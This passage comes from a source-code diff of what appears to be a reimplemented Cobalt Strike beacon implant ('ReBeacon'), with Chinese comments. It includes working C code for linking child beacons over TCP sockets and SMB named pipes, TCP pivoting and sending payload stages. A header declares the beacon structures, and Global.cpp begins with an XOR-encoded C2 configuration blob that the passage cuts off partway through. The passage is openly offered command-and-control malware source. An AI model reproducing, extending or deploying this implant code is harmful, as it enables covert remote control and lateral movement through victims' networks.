void* BeaconNULL,
checkChildBeacon_ptr checkChildBeacon)
{
char buffer[256] = { 0 };
if (!checkChildBeacon(smb, 30000))
{
return 0;
}
int recvsize = recvChildBeacon(tcp, buffer, 256);
if (recvsize < 0)
{
return 0;
}
//取出子beacon id
int ChildBeaconId = *(DWORD*)buffer;
//寻找空闲的结构体
int index_idle = -1;
for (size_t i = 0; i < gChildBeaconInfoSize; i++)
{
if (gChildBeaconInfo[i].state == 0)
{
index_idle = i;
break;
}
}
//没找到直接发送error并返回
if (index_idle == -1)
{
BeaconErrorNA(5);
return 0;
}
gChildBeaconInfo[index_idle].time = 0;
BOOL checkingdata = gChildBeaconInfo[index_idle].ChildBeaconData == 0;
gChildBeaconInfo[index_idle].state = 1;
gChildBeaconInfo[index_idle].ChildBeaconId = ChildBeaconId;
//添加到全局结构体
gChildBeaconInfo[index_idle].ChildBeaconConfig.tcp = smb->tcp;
gChildBeaconInfo[index_idle].ChildBeaconConfig.smb = smb->smb;
gChildBeaconInfo[index_idle].ChildBeaconConfig.checkChildBeacon = smb->checkChildBeacon;
gChildBeaconInfo[index_idle].ChildBeaconConfig.closeChildBeacon = smb->closeChildBeacon;
gChildBeaconInfo[index_idle].ChildBeaconConfig.FlushFileBuffers = smb->FlushFileBuffers;
gChildBeaconInfo[index_idle].ChildBeaconConfig.null2 = smb->null2;
gChildBeaconInfo[index_idle].ChildBeaconConfig.recvChildBeacon = smb->recvChildBeacon;
gChildBeaconInfo[index_idle].ChildBeaconConfig.sendChildBeacon = smb->sendChildBeacon;
if (checkingdata)
{
gChildBeaconInfo[index_idle].ChildBeaconData = (char*)malloc(256);
}
formatp pdata;
BeaconFormatInit(&pdata, gChildBeaconInfo[index_idle].ChildBeaconData, 256);
BeaconFormatInt(&pdata, ChildBeaconId); // 子beacon id
BeaconFormatInt(&pdata, port); // 子beacon 端口
BeaconFormatAppend(&pdata, &buffer[4], recvsize - 4); // 子beacon 返回数据
int ChildBeaconDatalength = BeaconFormatlength(&pdata);
char* ChildBeaconData = gChildBeaconInfo[index_idle].ChildBeaconData;
gChildBeaconInfo[index_idle].ChildBeaconDataSize = ChildBeaconDatalength;
BeaconTaskOutput(ChildBeaconData, ChildBeaconDatalength, 10);
return 1;
}
/// <summary>
/// 连接tcp子Beacon
/// </summary>
/// <param name="Taskdata"></param>
/// <param name="Task_size"></param>
void connect_tcp_child_Beacon(char* Taskdata, int Task_size)
{
DWORD timeout = GetTickCount() + 15000;
datap pdatap;
BeaconDataParse(&pdatap, Taskdata, Task_size);
short port = BeaconDataShort(&pdatap);
char* name = BeaconDataBuffer(&pdatap);
init_socket_options();
SOCKET conn;
while (1)
{
if (GetTickCount() >= timeout)
{
BeaconErrorD(0x44, WSAGetLastError());
return;
}
conn = ConnectTcp(name, port);
if (conn != -1)
{
break;
}
Sleep(1000);
}
ChildBeacon TcpBeacon = {0};
InitTcpChildBeacon(conn, &TcpBeacon);
AddChildBeacon(
port | 0x100000,
&TcpBeacon,
&TcpBeacon,
TcpBeacon.recvChildBeacon,
TcpBeacon.sendChildBeacon,
TcpBeacon.closeChildBeacon,
TcpBeacon.FlushFileBuffers,
TcpBeacon.checkChildBeacon);
}
void BeaconUnlink(u_long ChildBeaconId)
{
size_t i;
for (i = 0; i <= gChildBeaconInfoSize; i++)
{
if (ChildBeaconId == gChildBeaconInfo[i].ChildBeaconId || gChildBeaconInfo[i].state == 1)
{
break;
}
if (i >= gChildBeaconInfoSize)
{
return;
}
}
ChildBeaconId = htonl(ChildBeaconId);
BeaconTaskOutput((char*)&ChildBeaconId, 4, 0xB);
gChildBeaconInfo[i].ChildBeaconConfig.closeChildBeacon(&gChildBeaconInfo[i].ChildBeaconConfig);
gChildBeaconInfo[i].ChildBeaconId = 0;
gChildBeaconInfo[i].state = 0;
gChildBeaconInfo[i].time = 0;
}
char* pChildbeacondata = NULL;
/// <summary>
/// 当存在子beacon时cs会不断发送22功能号调用此函数
/// </summary>
/// <param name="Taskdata"></param>
/// <param name="Task_size"></param>
void BeaconRequestChildBeacon(char* Taskdata, int Task_size)
{
if (!pChildbeacondata)
{
pChildbeacondata = (char*)malloc(0x100000u);
}
int ChildBeaconId = ntohl(*(u_long*)Taskdata);
size_t i;
for (i = 0; i <= gChildBeaconInfoSize; i++)
{
if (ChildBeaconId == gChildBeaconInfo[i].ChildBeaconId || gChildBeaconInfo[i].state == 1)
{
int retsize = 0;
if (Task_size - 4 <= 0)
{
retsize = gChildBeaconInfo[i].ChildBeaconConfig.sendChildBeacon(
&gChildBeaconInfo[i].ChildBeaconConfig,
0,
0
);
}
else
{
retsize = gChildBeaconInfo[i].ChildBeaconConfig.sendChildBeacon(
&gChildBeaconInfo[i].ChildBeaconConfig,
Taskdata + 4,
Task_size - 4
);
}
if (retsize)
{
*(int*)pChildbeacondata = *(int*)Taskdata;
BOOL check = gChildBeaconInfo[i].ChildBeaconConfig.checkChildBeacon(
&gChildBeaconInfo[i].ChildBeaconConfig,
300000
);
int outsize = 0;
if (check)
{
outsize = gChildBeaconInfo[i].ChildBeaconConfig.recvChildBeacon(
&gChildBeaconInfo[i].ChildBeaconConfig,
pChildbeacondata + 4,
0x100000 - 4
);
}
else
{
outsize = -1;
}
if (outsize <= 0)
{
if (outsize)
{
BeaconUnlink(ChildBeaconId);
}
else
{
BeaconTaskOutput(pChildbeacondata, 4u, 0xC);
}
}
else
{
BeaconTaskOutput(pChildbeacondata, outsize + 4, 0xC);
}
}
else
{
BeaconUnlink(ChildBeaconId);
}
}
if (i >= gChildBeaconInfoSize)
{
return;
}
}
}
int SendStageTCP(char* Taskdata, int Task_size)
{
int timeout = GetTickCount() + 60000;
datap pdatap;
BeaconDataParse(&pdatap, Taskdata, Task_size);
char* name = BeaconDataPtr2(&pdatap);
int port = BeaconDataInt(&pdatap);
char* buf = (char*)BeaconDataBuffer(&pdatap);
int len = BeaconDataLength(&pdatap);
init_socket_options();
SOCKET s =0;
while (1)
{
if (GetTickCount() >= timeout)
{
BeaconErrorNA(0x46);
Sleep(1000);
return closesocket(s);
}
s = ConnectTcp(name, port);
if (s != -1)
{
break;
}
Sleep(1000);
}
send(s, buf, len, 0);
Sleep(1000);
return closesocket(s);
}
/////smb beacon
BOOL __cdecl BeaconFlushFileBuffers(ChildBeacon* pSmbBeacon)
{
return FlushFileBuffers(pSmbBeacon->smb);
}
int RecvSmbData(HANDLE hFile, char* buffer,int size)
{
DWORD NumberOfBytesRead = 0;
int readsize = 0;
if (size <= 0)
{
if (readsize == size)
{
return readsize;
}
}
else
{
while (ReadFile(hFile, &buffer[readsize], size - readsize, &NumberOfBytesRead, 0) && NumberOfBytesRead)
{
readsize += NumberOfBytesRead;
if (readsize >= size)
{
if (readsize == size)
{
return readsize;
}
return -1;
}
}
}
return -1;
}
int __cdecl recvSmbChildBeacon(ChildBeacon* pSmbBeacon, char* data, int size)
{
int outsize;
char* buffer = GetChildBeaconMsgHeader(57, &outsize, 0);
int read = RecvSmbData(pSmbBeacon->smb, buffer, outsize);
if (read == -1)
{
return -1;
}
if (read != outsize)
{
return -1;
}
int datasize = *(int*)&buffer[outsize - 4];
if (datasize > size || datasize < 0)
{
return -1;
}
else
{
return RecvSmbData(pSmbBeacon->smb, data, datasize);
}
}
BOOL __cdecl SendSmbData(HANDLE hFile, char* buffer, int buffersize)
{
DWORD NumberOfBytesWritten = 0;
int Writesize =0;
if (buffersize > 0)
{
while (1)
{
int nNumberOfBytesToWrite = buffersize - Writesize;
if (nNumberOfBytesToWrite > 0x2000)
{
nNumberOfBytesToWrite = 0x2000;
}
if (!WriteFile(hFile, &buffer[Writesize], nNumberOfBytesToWrite, &NumberOfBytesWritten, 0))
{
break;
}
Writesize += NumberOfBytesWritten;
if (Writesize >= buffersize)
{
return 1;
}
}
return 0;
}
return 1;
}
BOOL __cdecl sendSmbChildBeacon(ChildBeacon* pSmbBeacon, char* data, int size)
{
int outsize;
char* buffer = GetChildBeaconMsgHeader(57, &outsize, size);
if (SendSmbData(pSmbBeacon->smb, buffer, outsize))
{
return SendSmbData(pSmbBeacon->smb, data, size);
}
return 0;
}
BOOL __cdecl closeSmbChildBeacon(ChildBeacon* pSmbBeacon)
{
DisconnectNamedPipe(pSmbBeacon->smb);
return CloseHandle(pSmbBeacon->smb);
}
int __cdecl checkSmbChildBeaconTimeout(HANDLE hNamedPipe, int timeout)
{
DWORD TotalBytesAvail;
int time = timeout + GetTickCount();
if (GetTickCount() < time)
{
while (PeekNamedPipe(hNamedPipe, 0, 0, 0, &TotalBytesAvail, 0))
{
if (TotalBytesAvail)
{
return 1;
}
Sleep(10);
if (GetTickCount() >= time)
{
return 0;
}
}
}
return 0;
}
int __cdecl checkSmbChildBeacon(ChildBeacon* pSmbBeacon, int timeout)
{
return checkSmbChildBeaconTimeout(pSmbBeacon->smb, timeout);
}
/// <summary>
/// 初始化smb beacon
/// </summary>
/// <param name="pSmbBeacon"></param>
/// <param name="conn"></param>
/// <returns></returns>
ChildBeacon* InitSmbChildBeacon(ChildBeacon* pSmbBeacon, HANDLE conn)
{
pSmbBeacon->smb = conn;
pSmbBeacon->recvChildBeacon = recvSmbChildBeacon;
pSmbBeacon->sendChildBeacon = sendSmbChildBeacon;
pSmbBeacon->closeChildBeacon = closeSmbChildBeacon;
pSmbBeacon->FlushFileBuffers = BeaconFlushFileBuffers;
pSmbBeacon->checkChildBeacon = checkSmbChildBeacon;
pSmbBeacon->null2 = BeaconNull;
return pSmbBeacon;
}
void ConnectSmbBeacon(LPCSTR Name)
{
int timeout = GetTickCount() + 15000;
HANDLE HFile;
while (1)
{
HFile = CreateFileA(Name, GENERIC_READ|GENERIC_WRITE, 0, 0, 3u, 0x100000, 0);
if (HFile != (HANDLE)-1)
{
break;
}
if (GetLastError() == 231)
{
WaitNamedPipeA(Name, 0x2710);
}
else
{
Sleep(0x3E8u);
}
if (GetTickCount() >= timeout)
{
if (HFile == (HANDLE)-1)
{
if (GetLastError() == 121)
{
BeaconErrorNA(4);
}
else
{
BeaconErrorD(20, GetLastError());
}
return;
}
}
}
DWORD Mode = PIPE_READMODE_MESSAGE;
ChildBeacon SmbBeacon = { 0 };
if (SetNamedPipeHandleState(HFile, &Mode, 0, 0))
{
InitSmbChildBeacon(&SmbBeacon, HFile);
if (AddChildBeacon(
445,
&SmbBeacon,
&SmbBeacon,
SmbBeacon.recvChildBeacon,
SmbBeacon.sendChildBeacon,
SmbBeacon.closeChildBeacon,
SmbBeacon.FlushFileBuffers,
SmbBeacon.checkChildBeacon))
{
return;
}
}
else
{
BeaconErrorD(0x14u, GetLastError());
}
DisconnectNamedPipe(HFile);
CloseHandle(HFile);
}
void link_Smb_Beacon(char* Taskdata)
{
ConnectSmbBeacon(Taskdata);
}
//************************************
// Method: BeaconTcpPivot
// FullName: BeaconTcpPivot
// Access: public
// Returns: void
// Qualifier:功能号82 tcp中转
// Parameter: char * Taskdata
// Parameter: int TaskdataSize
//************************************
void BeaconTcpPivot(char* Taskdata, int TaskdataSize)
{
datap pdatap;
BeaconDataParse(&pdatap, Taskdata, TaskdataSize);
short port = BeaconDataShort(&pdatap);
SOCKET s = BeaconNewSocket(0, port, 10);
if (s == -1)
{
BeaconErrorD(0x15u, port);
}
else
{
Add_Beacon_Rportfwd(sub_10006D6B(), s, 0, 3, port, 2);
}
}
/// <summary>
/// 发送所有存活的子beacon id
/// </summary>
void CheckChildBeacon()
{
ChildBeaconInfo* pgChildBeaconInfo = gChildBeaconInfo;
for (size_t i = 0; i < gChildBeaconInfoSize; i++)
{
if (pgChildBeaconInfo[i].state == 1 && pgChildBeaconInfo[i].time < GetTickCount())
{
pgChildBeaconInfo[i].time = GetTickCount()+ 15000;
int ChildBeaconId= pgChildBeaconInfo[i].ChildBeaconId;
ChildBeaconId = htonl(ChildBeaconId);
BeaconTaskOutput((char*)&ChildBeaconId, 4u, 14);
}
}
}

View File

@ -0,0 +1,61 @@
#pragma once
#include "comm.h"
#include "common.h"
/////////////////////////////////////
/// <summary>
/// tcp和smb子beacon的结构体
/// </summary>
struct ChildBeacon
{
HANDLE smb; /*smb beacon连接句柄*/
SOCKET tcp; /*tcp beacon连接句柄*/
int(*recvChildBeacon)(ChildBeacon*, char*, int);/*读取beacon输出*/
int(*sendChildBeacon)(ChildBeacon*, char*, int); /*向beacon发送数据*/
int(*closeChildBeacon)(ChildBeacon*); /*关闭beacon连接*/
BOOL(*FlushFileBuffers)(ChildBeacon*);/*smb beacon函数*/
int(*checkChildBeacon)(ChildBeacon*, int);/*检查beacon连接*/
void* null2; /*空函数*/
};
typedef int (__cdecl* recvChildBeacon_ptr)(ChildBeacon*, char*, int);
typedef int(__cdecl* sendChildBeacon_ptr)(ChildBeacon*, char*, int); /*向beacon发送数据*/
typedef int(__cdecl* closeChildBeacon_ptr)(ChildBeacon*); /*关闭beacon连接*/
typedef BOOL(__cdecl* FlushFileBuffers_ptr)(ChildBeacon*);/*smb beacon函数*/
typedef int(__cdecl* checkChildBeacon_ptr)(ChildBeacon*, int);/*检查beacon连接*/
struct ChildBeaconInfo
{
int ChildBeaconId; /*子beacon id*/
ChildBeacon ChildBeaconConfig; /*子beacon信息*/
int state; /*子beacon状态*/
char* ChildBeaconData; /*数据*/
int ChildBeaconDataSize;
int time;
};
extern ChildBeaconInfo gChildBeaconInfo[40];
extern int gChildBeaconInfoSize;
void BeaconRequestChildBeacon(char* Taskdata, int Task_size);
void BeaconUnlink(u_long ChildBeaconId);
int SendStageTCP(char* Taskdata, int Task_size);
void link_Smb_Beacon(char* Taskdata);
void BeaconTcpPivot(char* Taskdata, int TaskdataSize);
void connect_tcp_child_Beacon(char* Taskdata, int Task_size);
ChildBeacon* InitTcpChildBeacon(SOCKET conn, ChildBeacon* pTcpBeacon);
int __cdecl AddChildBeacon(u_long port,ChildBeacon* smb,ChildBeacon* tcp, recvChildBeacon_ptr recvChildBeacon, sendChildBeacon_ptr sendChildBeacon, closeChildBeacon_ptr closeChildBeacon,void* BeaconNULL, checkChildBeacon_ptr checkChildBeacon);
void CheckChildBeacon();
int RecvSmbData(HANDLE hFile, char* buffer, int size);

446
ReBeacon_Src/Global.cpp Normal file
View File

@ -0,0 +1,446 @@
#include "Global.h"
HINSTANCE Beacon_Dllbase;
/// <summary>
/// 创建的所有后台线程
/// </summary>
int BackgroundThreadsNumber;
PVOID lpStartAddress;
/*Beacon C2配置信息*/
char* CsC2Config = NULL;
unsigned char rawData[4096] = {
0x2E, 0x2F, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x2E, 0x2E, 0x2C, 0x2E, 0x2F,
0x2E, 0x2C, 0x2E, 0x7E, 0x2E, 0x2D, 0x2E, 0x2C, 0x2E, 0x2A, 0x2E, 0x2E,
0xC4, 0x4E, 0x2E, 0x2A, 0x2E, 0x2C, 0x2E, 0x2A, 0x2E, 0x3E, 0x2E, 0x2E,
0x2E, 0x2B, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x2E, 0x2E, 0x29, 0x2E, 0x2D,
0x2F, 0x2E, 0x1E, 0xAF, 0xB1, 0x1E, 0x23, 0x28, 0x27, 0x04, 0xA8, 0x66,
0xA8, 0xD9, 0x23, 0x2F, 0x2F, 0x2F, 0x2B, 0x2E, 0x2D, 0xAF, 0xA3, 0x2E,
0x1E, 0xAF, 0xA7, 0x2C, 0xAF, 0xAF, 0x2E, 0x94, 0x94, 0xF1, 0xE6, 0x51,
0xE0, 0xAC, 0x49, 0xD2, 0x8C, 0x1B, 0xF6, 0xC0, 0x31, 0x83, 0x48, 0x02,
0x9C, 0xC4, 0xA9, 0xBD, 0x0B, 0x71, 0x78, 0xE3, 0x36, 0xFA, 0x06, 0xD7,
0x5E, 0x55, 0xB2, 0xFF, 0x3C, 0x04, 0x87, 0x36, 0xD9, 0xDA, 0xE7, 0xF1,
0x4E, 0x42, 0x80, 0x74, 0xE2, 0x39, 0xF1, 0xFE, 0x1E, 0x5E, 0xE1, 0x0E,
0xA6, 0x0F, 0x3E, 0xAC, 0x60, 0x1F, 0xB3, 0x81, 0x43, 0x6C, 0x41, 0x3B,
0x12, 0x3F, 0x07, 0x22, 0x07, 0xDE, 0x68, 0x38, 0xD6, 0x8A, 0x8A, 0xF0,
0x74, 0x0A, 0xFF, 0x63, 0x8E, 0xB2, 0x0B, 0x0A, 0xED, 0x6C, 0xCF, 0x48,
0x11, 0x38, 0xC6, 0x96, 0xDD, 0x3C, 0x07, 0x42, 0x72, 0x1A, 0x8D, 0xBE,
0x69, 0x89, 0xE3, 0x18, 0x79, 0x7A, 0x85, 0x86, 0x93, 0x8A, 0x1C, 0x46,
0xEE, 0xFA, 0x8D, 0xED, 0x0D, 0x5B, 0x17, 0x97, 0x9D, 0xD3, 0xDD, 0xEC,
0x5B, 0x1D, 0xEB, 0x2C, 0x2D, 0x2F, 0x2E, 0x2F, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x26, 0x2E, 0x2D, 0x2F, 0x2E,
0x1F, 0x17, 0x1C, 0x00, 0x1F, 0x18, 0x16, 0x00, 0x1F, 0x00, 0x1D, 0x1B,
0x02, 0x01, 0x4D, 0x4F, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x6D, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x2E,
0x2E, 0x6A, 0x2E, 0x2C, 0x2E, 0x2A, 0xD1, 0xD1, 0xD1, 0xD1, 0x2E, 0x6B,
0x2E, 0x2C, 0x2E, 0x2A, 0xD1, 0xD1, 0xD1, 0xD1, 0x2E, 0x68, 0x2E, 0x2C,
0x2E, 0x2A, 0xD1, 0xD1, 0xD1, 0xD1, 0x2E, 0x20, 0x2E, 0x2D, 0x2E, 0x3E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x33, 0x2E, 0x2D, 0x2E, 0x6E, 0x0B, 0x59,
0x47, 0x40, 0x4A, 0x47, 0x5C, 0x0B, 0x72, 0x5D, 0x57, 0x5D, 0x59, 0x41,
0x59, 0x18, 0x1A, 0x72, 0x5C, 0x5B, 0x40, 0x4A, 0x42, 0x42, 0x1D, 0x1C,
0x00, 0x4B, 0x56, 0x4B, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x30, 0x2E, 0x2D, 0x2E, 0x6E, 0x0B, 0x59, 0x47, 0x40,
0x4A, 0x47, 0x5C, 0x0B, 0x72, 0x5D, 0x57, 0x5D, 0x40, 0x4F, 0x5A, 0x47,
0x58, 0x4B, 0x72, 0x5C, 0x5B, 0x40, 0x4A, 0x42, 0x42, 0x1D, 0x1C, 0x00,
0x4B, 0x56, 0x4B, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x31, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x2E, 0x2E, 0x34, 0x2E, 0x2D,
0x2E, 0x3E, 0x69, 0x6B, 0x7A, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x35, 0x2E, 0x2D, 0x2E, 0x3E,
0x7E, 0x61, 0x7D, 0x7A, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x32, 0x2E, 0x2C, 0x2E, 0x2A, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x0B, 0x2E, 0x2C, 0x2E, 0x2A, 0x67, 0xB8, 0x2C, 0xFC,
0x2E, 0x08, 0x2E, 0x2F, 0x2E, 0x2C, 0x2E, 0x2E, 0x2E, 0x09, 0x2E, 0x2F,
0x2E, 0x2C, 0x2E, 0x2E, 0x2E, 0x27, 0x2E, 0x2D, 0x2F, 0x2E, 0x63, 0x41,
0x54, 0x47, 0x42, 0x42, 0x4F, 0x01, 0x1B, 0x00, 0x1E, 0x0E, 0x06, 0x4D,
0x41, 0x43, 0x5E, 0x4F, 0x5A, 0x47, 0x4C, 0x42, 0x4B, 0x15, 0x0E, 0x63,
0x7D, 0x67, 0x6B, 0x0E, 0x17, 0x00, 0x1E, 0x15, 0x0E, 0x79, 0x47, 0x40,
0x4A, 0x41, 0x59, 0x5D, 0x0E, 0x60, 0x7A, 0x0E, 0x18, 0x00, 0x1F, 0x15,
0x0E, 0x79, 0x61, 0x79, 0x18, 0x1A, 0x15, 0x0E, 0x7A, 0x5C, 0x47, 0x4A,
0x4B, 0x40, 0x5A, 0x01, 0x1B, 0x00, 0x1E, 0x15, 0x0E, 0x6C, 0x61, 0x67,
0x6B, 0x17, 0x15, 0x7D, 0x78, 0x7D, 0x6B, 0x07, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x24, 0x2E, 0x2D, 0x2E, 0x6E, 0x01, 0x5D, 0x5B, 0x4C,
0x43, 0x47, 0x5A, 0x00, 0x5E, 0x46, 0x5E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x25, 0x2E, 0x2D, 0x2F, 0x2E, 0x2E, 0x2E, 0x2E, 0x2A, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E, 0x2E,
